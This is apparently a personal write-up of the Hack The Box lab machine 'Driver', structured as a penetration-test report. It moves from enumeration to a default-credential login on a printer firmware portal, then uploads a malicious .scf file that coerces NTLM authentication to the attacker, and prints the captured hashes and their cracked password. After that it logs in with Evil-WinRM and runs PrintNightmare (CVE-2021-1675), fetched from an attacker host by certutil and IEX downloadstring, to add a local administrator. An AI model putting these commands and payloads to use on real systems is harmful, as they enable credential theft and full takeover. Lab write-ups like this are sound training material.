1.0 - High Level Summary

1.1 - Host Summary

> hostname, IP, OS, ports open / services on them Name machine: Driver

IP: 10.10.11.106 OS: Windows Ports - services:

→ 80 - http (Microsoft IIS httpd 10.0)

→ 135 - msrpc→ 445 - smb

→ 5985 - Microsoft HTTPAPI httpd 2.0

Platform web: php

1.2 - Attack Surface Summary

> high level overview of exploitable services / potential

Exploit via Web portal:

link: http://10.10.11.106/fw_up.php

Fuzzing with gobuster

- Find subdomain:

gobuster vhost -u http://driver.htb/ -w /opt/OSCP/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100

 \rightarrow Found some subdomains but can not access $\dot{}$

Found: xn--nckxa3g7cq2b5304djmxc-biz.driver.htb (Status: 400) [Size: 334] Found: xn--cckcdp5nyc8g2837ahhi954c-jp.driver.htb (Status: 400) [Size: 334] Found: xn--7ck2d4a8083aybt3yv-com.driver.htb (Status: 400) [Size: 334]

Found: xn--u9jxfma8gra4a5989bhzh976brkn72bo46f-com.driver.htb (Status: 400)

- Find directories:

gobuster dir -u http://driver.htb/ -w /opt/OSCP/SecLists/Discovery/Web-Content/common.txt -x php,html,txt

/Index.php (Status: 401) [Size: 20]

/Images (Status: 301) [Size: 148] [--> http://driver.htb/Images/]

1.3 - Exploitation Summary

> high level overview of the services you exploited

I login to portal web with default username:password

→ admin:admin

Overview the website is Update Firmware for Printers.

So I having remote file upload and we can then perform SMB Exploit via NTLM Capture reference:

, elelelice.

https://sql--injection.blogspot.com/p/smb.html

Create file with extension ".scf":

[Shell]

```
Command=2
IconFile=\\10.10.15.84\share\test.ico
[Taskbar]
Command=ToggleDesktop
.

Capture NTLM with command:
sudo responder -wrf --lm -v -l tun0
.

Get NTLMv2 HASH:
tony::DRIVER:f68f34ce0d8141b4:4E04B34B7AA5B037E3452292446765D6:01010000000000037F091DC1CD7D7012E405C542
.

Use hashcat to crack it with wordlist "rockyou.txt":
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt -o cracked.txt
.

→ Result: tony:liltony
Login user "tony" to machine with evil-winrm tool:
.
ruby evil-winrm.rb -i 10.10.11.106 -u tony -p liltony
.
→ Result: get user flag
```

2.0 - Methodology and Walkthrough

2.1 - Enumeration

```
> scans and inital discover
#first step:
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN /opt/OSCP/labs/
PUBLIC/106-Driver/10.10.11.106.txt 10.10.11.106

→ Result:

PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
5985/tcp open wsman
```

```
#second step:
nmap -nvv -Pn- -sSV -p 80,135,445,5985 --version-intensity 9 -A -oN /opt/OSCP/labs/PUBLIC/106-Driver/nmap-details.txt
10.10.11.106
→ Result:
PORT
       STATE SERVICE
                         REASON
                                        VERSION
80/tcp open http
                   syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
 Potentially risky methods: TRACE
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc
                        syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
                        syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp open http
| http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
#good nmap command:
nmap -T4 -n -sC -sV -p- -oN /opt/OSCP/labs/PUBLIC/106-Driver/nmap-versions.txt --script='*vuln*' 10.10.11.106
→ Result:
                         VERSION
PORT
       STATE SERVICE
80/tcp open http
                       Microsoft IIS httpd 10.0
| http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http
                       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-vuln-ms10-054: false
samba-vuln-cve-2012-1182: No accounts left to try
smb-vuln-ms10-061: No accounts left to try
#fast scan UDP:
nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T3 -oN /opt/OSCP/labs/PUBLIC/106-Driver/nmap-udp.txt
10.10.11.106
→ No result.
⇒ Risk Assessment:
```

Cause port http is open, maybe machine is vulnerable on web site.

Port smb is open but not vulnerable, service Microsoft HTTPAPI httpd is running. Get more info later.

2.2 - Exploitation

> gaining a shell

Exploit machine by upload malicious firmware file (@shell.scf):

[Shell]

Command=2

IconFile=\\<Kali IP>\share\test.ico

[Taskbar]

Command=ToggleDesktop

```
Use tool responder to watch packet response from machine:
sudo responder -wrf --lm -v -l tun0
Action upload the file "@shell.scf" to machine and check terminal responder:
→ Result:
[SMB] NTLMv2 Client : 10.10.11.106
[SMB] NTLMv2 Username: DRIVER\tony
[SMB] NTLMv2 Hash : tony::DRIVER:e029ea4346395fde:5CEECA6FC980B8520B7990E2E52AE95B:
0101000000000002253F98DF0D6D7011F795C5A5E1DA60400000000020000000
Use hashcat to crack this NTLMv2 Hash:
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt -o cracked.txt
→ Result:
Session....: hashcat
Status.....: Cracked
Hash.Name.....: NetNTLMv2
Hash.Target.....: TONY::DRIVER:e029ea4346395fde:5ceeca6fc980b8520b799...000000:liltony
Time.Started.....: Thu Nov 11 01:40:14 2021 (1 sec)
Time.Estimated...: Thu Nov 11 01:40:15 2021 (0 secs)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1....... 216.1 kH/s (2.06ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests
Progress......: 32768/14344385 (0.23%)
Rejected.....: 0/32768 (0.00%)
Restore.Point...: 30720/14344385 (0.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: !!!!!! -> eatme1
Install Evil-WinRM tool:
Step 1. Install dependencies manually: sudo gem install winrm winrm-fs stringio logger fileutils
Step 2. Clone the repo: git clone <a href="https://github.com/Hackplayers/evil-winrm.git">https://github.com/Hackplayers/evil-winrm.git</a>
Step 3. Ready. Just launch it!
Connect to machine with command:
ruby evil-winrm.rb -i 10.10.11.106 -u tony -p liltony
2.3 - Elevation
```

> methods used to gain SYSTEM / root Cause the machine is Web Upload Firmware Printer, so the check the service "Spooler" with command: Get-Service -Name Spooler Use CVE-2021-1675 - PrintNightmare LPE (PowerShell) to privilege Administrator, transfer file exploit ps1 to machine:

certutil.exe -urlcache -f http://10.10.14.9:8000/CVE-2021-1675.ps1 nightmare.ps1

But I cannot excute the file powershell "nightmare.ps1" on Evil-WinRM So I use transfer again with command: IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.9:8000/CVE-2021-1675.ps1') Run this command to added user "john" as local administrator: Invoke-Nightmare -NewUser "john" -NewPassword "SuperSecure" → Result: [+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll [+] using pDriverPath = "C: \Windows\System32\DriverStore\FileRepository\ntprint.inf amd64 f66d9eed7e835e97\Amd64\mxdwdrv.dll" [+] added user john as local administrator [+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll

Turn back Evil-WinRM and connect again with "john" accounts:

Evil-WinRM PS C:\Users\john\Documents> cd C:\

Evil-WinRM PS C:\> whoami

driver\john

Evil-WinRM PS C:\> cd C:\Users\Administrator\Desktop

Evil-WinRM PS C:\Users\Administrator\Desktop> Is

Directory: C:\Users\Administrator\Desktop

Mode LastWriteTime Length Name 11/11/2021 5:11 AM 34 root.txt -ar---

Evil-WinRM PS C:\Users\Administrator\Desktop> cat root.txt fb779e3d337317eae08d36a161ef8ddd

3.0 - Loot and Code

3.1 - Brief

> Brief of exploit machine Payload to get NTLMv2 HASH: ```@shell.scf [Shell] Command=2 IconFile=\\<Kali IP>\share\test.ico

Command=ToggleDesktop

[Taskbar]

Learn about tool "responder" Crack hash NTLMv2 with "hashcat -m 5600 [hash] [wordlist]"

Use this PoC to privilege:

"https://github.com/calebstewart/CVE-2021-1675"

Remember use Invoke-Expression (or iex) to transfer file ".ps1"

3.2 - Todo

> Training privecs with remote exploit Nightmare

Let's try use tool "smbserver.py" from Impacket module.
Remote exploit Nightmare DLL file, reference: https://github.com//ly4k//PrintNightmare